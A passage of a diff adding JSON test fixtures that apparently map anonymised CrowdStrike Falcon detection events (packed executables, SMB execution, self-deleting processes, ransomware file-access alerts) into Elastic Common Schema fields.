"Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4", + "name": "891d960d630f07080d2bbd00503c6ca04d9007b20af" + }, + "device": { + "id": "6b6c287c6e8ce2041ce47a740e621689" + }, + "event": { + "action": "PrivilegedProcessHandleFromUnsignedModule", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|6b6c287c6e8ce2041ce47a740e621689|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"ContextThreadId\":\"266500049070090\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"PrivilegedProcessHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1751718895.992\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"8080063970217\",\"SHA256HashData\":\"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1601400887.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"3542590006570\",\"DesiredAccess\":\"5900\",\"ImageFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\9134161b\\\\1fcd147a\\\\c3356034\\\\158.exe\",\"Entitlements\":\"86\",\"name\":\"891d960d630f07080d2bbd00503c6ca04d9007b20af\",\"aid\":\"6b6c287c6e8ce2041ce47a740e621689\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"81030550010000800400\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "host": { + "id": "6b6c287c6e8ce2041ce47a740e621689", + "os": { + "type": "windows" + } + }, + "message": "PrivilegedProcessHandleFromUnsignedModule", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "6b6c287c6e8ce2041ce47a740e621689", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3542590006570", + "executable": "\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe", + "hash": { + "sha256": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5" + }, + "name": "158.exe", + "thread": { + "id": 266500049070090 + } + }, + "related": { + "hash": [ + "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5", + "3440491101" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "550603001", + "ContextProcessId": "2492243565020", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "FileSubType": "4", + "SHA256HashData": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "17ef479f49727073c1afd6d8d3ede95a561e", + "name": "deb18e9d761c09c713b0634dc553304" + }, + "device": { + "id": "2aff58e38d0a0bf09e91cfee7bcb819e" + }, + "event": { + "action": "ProcessExecOnPackedExecutable", + "category": [ + "process", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "17ef479f49727073c1afd6d8d3ede95a561e|2aff58e38d0a0bf09e91cfee7bcb819e|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"ProcessExecOnPackedExecutable\",\"ConfigStateHash\":\"550603001\",\"ContextProcessId\":\"2492243565020\",\"aip\":\"89.160.20.112\",\"FileSubType\":\"4\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"1080047380010\",\"Entitlements\":\"96\",\"name\":\"deb18e9d761c09c713b0634dc553304\",\"EventOrigin\":\"1\",\"id\":\"17ef479f49727073c1afd6d8d3ede95a561e\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"2aff58e38d0a0bf09e91cfee7bcb819e\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "host": { + "id": "2aff58e38d0a0bf09e91cfee7bcb819e", + "os": { + "type": "windows" + } + }, + "message": "ProcessExecOnPackedExecutable", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "2aff58e38d0a0bf09e91cfee7bcb819e", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "1080047380010", + "hash": { + "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" + } + }, + "related": { + "hash": [ + "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", + "550603001" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "30409004030", + "ClientComputerName": "1a241b813c0288", + "ConfigStateHash": "3030480009", + "ContextProcessId": "2002000091665", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "PatternId": "459", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "0b8735c9a332451c9040cce79b716849ed11", + "name": "8f744680ad930347c854bf" + }, + "destination": { + "address": "81.2.69.144", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "device": { + "id": "b956f48020b41a099bfc062444b8ea38" + }, + "event": { + "action": "ProcessExecOnSMBFile", + "category": [ + "process", + "file", + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "0b8735c9a332451c9040cce79b716849ed11|b956f48020b41a099bfc062444b8ea38|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"ProcessExecOnSMBFile\",\"UserName\":\"601f56394305\",\"ConfigStateHash\":\"3030480009\",\"ContextProcessId\":\"2002000091665\",\"aip\":\"89.160.20.112\",\"LogonDomain\":\"6e\",\"AuthenticationId\":\"30409004030\",\"UserPrincipal\":\"testuser@test.com\",\"UserSid\":\"S-70019-66419-130-71535-26067-98292-95578\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PatternId\":\"459\",\"ClientComputerName\":\"1a241b813c0288\",\"Entitlements\":\"36\",\"name\":\"8f744680ad930347c854bf\",\"EventOrigin\":\"1\",\"id\":\"0b8735c9a332451c9040cce79b716849ed11\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"b956f48020b41a099bfc062444b8ea38\",\"RemoteAddressIP4\":\"81.2.69.144\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "host": { + "domain": "6e", + "id": "b956f48020b41a099bfc062444b8ea38", + "os": { + "type": "windows" + } + }, + "message": "ProcessExecOnSMBFile", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "b956f48020b41a099bfc062444b8ea38", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2002000091665" + }, + "related": { + "hash": [ + "3030480009" + ], + "hosts": [ + "1a241b813c0288" + ], + "ip": [ + "89.160.20.112", + "81.2.69.144" + ], + "user": [ + "601f56394305", + "testuser", + "testuser@test.com", + "S-70019-66419-130-71535-26067-98292-95578" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "test.com", + "email": "testuser@test.com", + "full_name": "testuser", + "id": "S-70019-66419-130-71535-26067-98292-95578", + "name": "601f56394305" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "AuthenticodeHashData": "98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4", + "ConfigStateHash": "710307050", + "EffectiveTransmissionClass": "3", + "Entitlements": "46", + "EventOrigin": "1", + "ImageSubsystem": "2", + "IntegrityLevel": "90902", + "MD5HashData": "9fd1131ff976c9a3212a1db685870aa1", + "ParentAuthenticationId": "830", + "ProcessCreateFlags": "4", + "ProcessParameterFlags": "41103", + "ProcessSxsFlags": "26", + "SHA1HashData": "9692067083780606753097782045800757094700", + "SHA256HashData": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331", + "SessionId": "0", + "SignInfoFlags": "932000", + "SourceProcessId": "8000051703140", + "SourceThreadId": "400901163020000", + "Tags": [ + "982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2" + ], + "TokenType": "1", + "WindowFlags": "274", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "36f0bb29be278fc8322806730ffa12e53207", + "name": "f9ba95e9061aae4be" + }, + "device": { + "id": "40b756af7c1d76ef66cb380d94090915" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "36f0bb29be278fc8322806730ffa12e53207|40b756af7c1d76ef66cb380d94090915|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ProcessCreateFlags\":\"4\",\"IntegrityLevel\":\"90902\",\"ParentProcessId\":\"3000051703140\",\"SourceProcessId\":\"8000051703140\",\"aip\":\"81.2.69.142\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"UserSid\":\"S-62374-88856-1334\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ProcessEndTime\":\"\",\"AuthenticodeHashData\":\"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4\",\"ParentBaseFileName\":\"bce7ccba7d55464cc50\",\"EventOrigin\":\"1\",\"ImageSubsystem\":\"2\",\"id\":\"36f0bb29be278fc8322806730ffa12e53207\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"0\",\"Tags\":\"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"10603\",\"ConfigStateHash\":\"710307050\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331\",\"ProcessSxsFlags\":\"26\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"WindowFlags\":\"274\",\"CommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5\",\"ParentAuthenticationId\":\"830\",\"TargetProcessId\":\"8200110794047\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"SourceThreadId\":\"400901163020000\",\"Entitlements\":\"46\",\"name\":\"f9ba95e9061aae4be\",\"ProcessStartTime\":\"1745988595.443\",\"ProcessParameterFlags\":\"41103\",\"aid\":\"40b756af7c1d76ef66cb380d94090915\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "40b756af7c1d76ef66cb380d94090915", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "40b756af7c1d76ef66cb380d94090915", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "5f20a496dc8", + "d43d1f330482ee8", + "5699b4437440b65580e85c88f5cdca035e77", + "-e6ec25fc0", + "-ce", + "f06d9af09b660129fc208a858ce75e59", + "-63", + "90907973f6", + "-9de2", + "e162e", + "-af0975", + "7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851", + "-d89d7", + "d97ed553ad5f4263d831dfb497ed48a295e01396", + "-288", + "5" + ], + "args_count": 16, + "command_line": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5", + "entity_id": "8200110794047", + "executable": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe", + "hash": { + "md5": "9fd1131ff976c9a3212a1db685870aa1", + "sha1": "9692067083780606753097782045800757094700", + "sha256": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331" + }, + "name": "d5a15842.exe", + "parent": { + "entity_id": "3000051703140", + "name": "bce7ccba7d55464cc50" + }, + "pid": 10603, + "start": "2025-04-30T04:49:55.443Z" + }, + "related": { + "hash": [ + "9fd1131ff976c9a3212a1db685870aa1", + "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331", + "9692067083780606753097782045800757094700", + "710307050" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "S-62374-88856-1334" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-62374-88856-1334" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "5080600092", + "ContextProcessId": "8008070284808", + "ContextTimeStamp": "2025-05-23T18:59:41.961Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "16", + "EventOrigin": "1", + "SHA256HashData": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87", + "SourceProcessId": "8020239020790", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "37ea1966fb73e596eaceeeda74969e0cf6fe", + "name": "1a4daccccece9ef5ba96" + }, + "device": { + "id": "4a13114d95ed726004929f3de3863e97" + }, + "event": { + "action": "ProcessSelfDeleted", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "37ea1966fb73e596eaceeeda74969e0cf6fe|4a13114d95ed726004929f3de3863e97|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"ProcessSelfDeleted\",\"ContextTimeStamp\":\"1748026781.961\",\"ConfigStateHash\":\"5080600092\",\"ContextProcessId\":\"8008070284808\",\"SourceProcessId\":\"8020239020790\",\"aip\":\"81.2.69.144\",\"SHA256HashData\":\"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"5100718000400\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08ddb9f6\\\\0f51ad6\\\\8c31e\\\\d62f\\\\e\\\\ff53b0\\\\2b6\\\\38227bb0.exe\",\"Entitlements\":\"16\",\"name\":\"1a4daccccece9ef5ba96\",\"EventOrigin\":\"1\",\"id\":\"37ea1966fb73e596eaceeeda74969e0cf6fe\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"4a13114d95ed726004929f3de3863e97\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "file": { + "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1" + }, + "host": { + "id": "4a13114d95ed726004929f3de3863e97", + "os": { + "type": "windows" + } + }, + "message": "ProcessSelfDeleted", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "4a13114d95ed726004929f3de3863e97", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "5100718000400", + "executable": "\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe", + "hash": { + "sha256": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87" + }, + "name": "38227bb0.exe" + }, + "related": { + "hash": [ + "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87", + "5080600092" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientId": "81", + "ConfigStateHash": "7800020060", + "ContextProcessId": "1005300580270", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "PatternId": "684", + "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", + "Tags": [ + "18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5" + ], + "TargetFileName": "\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "791f3434f4eb1f2494635bfa6c51a2855d12", + "name": "678e528c681bbe14db4667945d920" + }, + "device": { + "id": "ce205ce972e1ec0b34c552d96f46397a" + }, + "event": { + "action": "RansomwareFileAccessPattern", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "791f3434f4eb1f2494635bfa6c51a2855d12|ce205ce972e1ec0b34c552d96f46397a|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"RansomwareFileAccessPattern\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"1005300580270\",\"SourceFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\b79c\\\\5c49f\\\\be379a3.rtf\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"PatternId\":\"684\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"Entitlements\":\"36\",\"name\":\"678e528c681bbe14db4667945d920\",\"EventOrigin\":\"1\",\"ClientId\":\"81\",\"id\":\"791f3434f4eb1f2494635bfa6c51a2855d12\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ce205ce972e1ec0b34c552d96f46397a\",\"Tags\":\"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\c7bac469.NET\\\\c70281ee\\\\aca7.30319\\\\4820dd5a.sql\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f", + "extension": "rtf", + "hash": { + "sha256": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68" + }, + "name": "be379a3.rtf", + "path": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf", + "type": "file" + }, + "host": { + "id": "ce205ce972e1ec0b34c552d96f46397a", + "os": { + "type": "windows" + } + }, + "message": "RansomwareFileAccessPattern", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "ce205ce972e1ec0b34c552d96f46397a", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "54d\\d598026\\4a6a0a4b\\a096c58f.exe" + ], + "args_count": 1, + "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"", + "entity_id": "1005300580270", + "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe", + "name": "a096c58f.exe" + }, + "related": { + "hash": [ + "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", + "7800020060" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "BoundingLimitCount": 1, + "BoundingLimitDuration": "5486640", + "ConfigStateHash": "9250777000", + "ContextProcessId": "7701685113510", + "ContextTimeStamp": "2025-06-27T12:57:00.082Z", + "DesiredAccess": "5750008", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "1", + "FileAttributes": "0", + "FileObject": "0", + "Information": "1", + "IrpFlags": "2500", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "90328446", + "ShareAccess": "7", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "13e038874f0490733a5191031434b8657382", + "name": "4c8f7117e5d227bf9ddc" + }, + "device": { + "id": "ea08505420aa828a0a52a6eed3c8a196" + }, + "event": { + "action": "RansomwareOpenFile", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "13e038874f0490733a5191031434b8657382|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"Options\":\"90328446\",\"ContextThreadId\":\"344002022970675\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"1\",\"Information\":\"1\",\"FileIdentifier\":\"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"EventOrigin\":\"1\",\"id\":\"13e038874f0490733a5191031434b8657382\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"RansomwareOpenFile\",\"ContextTimeStamp\":\"1751029020.082\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"7701685113510\",\"IrpFlags\":\"2500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5750008\",\"BoundingLimitDuration\":\"5486640\",\"Entitlements\":\"26\",\"name\":\"4c8f7117e5d227bf9ddc\",\"OperationFlags\":\"0\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25", + "extension": "key", + "inode": "4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612", + "name": "4e7075fa.key", + "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key", + "type": "file" + }, + "host": { + "id": "ea08505420aa828a0a52a6eed3c8a196", + "os": { + "type": "windows" + } + }, + "message": "RansomwareOpenFile", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "ea08505420aa828a0a52a6eed3c8a196", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "7701685113510", + "thread": { + "id": 344002022970675 + } + }, + "related": { + "hash": [ + "9250777000" + ], + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "3440491101", + "ContextProcessId": "2090006508607", + "ContextTimeStamp": "2025-10-29T00:43:06.458Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "RegClassification": "806", + "RegClassificationFlags": "454", + "RegClassificationIndex": "430", + "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a", + "RegOperationType": "1", + "RegStringValue": "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0